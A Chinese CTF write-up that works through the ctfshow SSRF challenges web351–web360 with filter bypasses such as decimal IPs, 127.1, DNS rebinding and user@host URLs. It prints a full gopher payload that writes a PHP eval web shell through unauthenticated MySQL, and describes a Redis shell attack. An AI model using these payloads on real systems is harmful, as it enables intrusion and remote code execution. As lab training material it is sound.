目录
- web351
- 思路
- 题解
- web352
- 思路
- 题解
- web353
- web354
- 思路
- 题解
- web355
- 思路
- 题解
- web356
- 思路
- 题解
- web357
- 思路
- 题解
- web358
- 思路
- 题解一
- 题解二
- web359
- 思路
- 题解
- web360
- 思路
- 题解
web351
思路
直接用file协议读取flag()
题解
url=http://localhost/var/www/html/flag.php
web352
思路
要用http
或者https
,过滤了preg_match('/localhost|127.0.0/')
,这里可以用进制转换绕过
题解
url=http://2130706433/flag.php
web353
同上
web354
思路
这里ban了0和1
preg_match('/localhost|1|0|。/i', $url)
可以考虑使用DNS重绑定攻击
https://requestrepo.com/
题解
url=http://a.hboku28b.requestrepo.com/flag.php
web355
思路
限制了$host
长度小于5
,可以用127.1
代替
题解
url=http://127.1/flag.php
web356
思路
这次长度小于3
,因为是linux
环境,这里可以用0
来代替127.0.0.1
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0
题解
url=http://0/flag.php
web357
思路
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');
}
这里使用了PHP内置的函数 filter_var(),用于过滤和验证输入的IP地址。
这段代码传入了三个参数:
- $ip:要验证的IP地址。
- FILTER_VALIDATE_IP:这是过滤器的类型,指定要验证的数据的类型。在这种情况下,它指定要验证的是一个IP地址。
- FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE:这些是可选的过滤器标志,它们指定了要应用的其他过滤器选项。
在这个例子中,FILTER_FLAG_NO_PRIV_RANGE表示不允许私有IP地址(例如,10.0.0.0/8,172.16.0.0/12和192.168.0.0/16),而FILTER_FLAG_NO_RES_RANGE表示不允许保留IP地址(例如,0.0.0.0和127.0.0.1)。
因为不能用私网,所以这题还是可以用DNS重绑定攻击
题解
url=http://a.hboku28b.requestrepo.com/flag.php
web358
思路
这里必须要以http://ctf.
作为开头
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}
题解一
那还是可以用DNS重绑定攻击
,然后用?
把show
当作传递的参数
url=http://ctf.hboku28b.requestrepo.com/flag.php?show
题解二
这里有个通用语法
<user>:<password>@<host>:<port>/<url-path>
ctf.会被解析成<user>:<password>
这一块
url=http://ctf.@127.0.0.1/flag.php?show
web359
思路
题目hint:打无密码的mysql
发现是一个登录框,抓个包看看,输入admin:admin
发现这里有个参数returl=https%3A%2F%2F404.chall.ctf.show%2F
,返回200
,改成http://127.0.0.1
显示网页内容,说明存在SSRF漏洞,那应该就是用dict
或者gopher
协议去攻击未授权mysql
了
题解
这里用工具
https://github.com/tarunkant/Gopherus.git
试了下不能输出mysql
的返回结果,直接写马
_
后面要进行url编码,因为curl还会进行一次url解码
# _后面url编码再编码一次
gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%46%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3f%3e%27%20%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%3b%01%00%00%00%01
web360
思路
题目hint:打redis
题解
这里用工具
https://github.com/tarunkant/Gopherus.git
注意:_后面要进行url编码,因为curl还会进行一次url解码
默认生成的文件是shell.php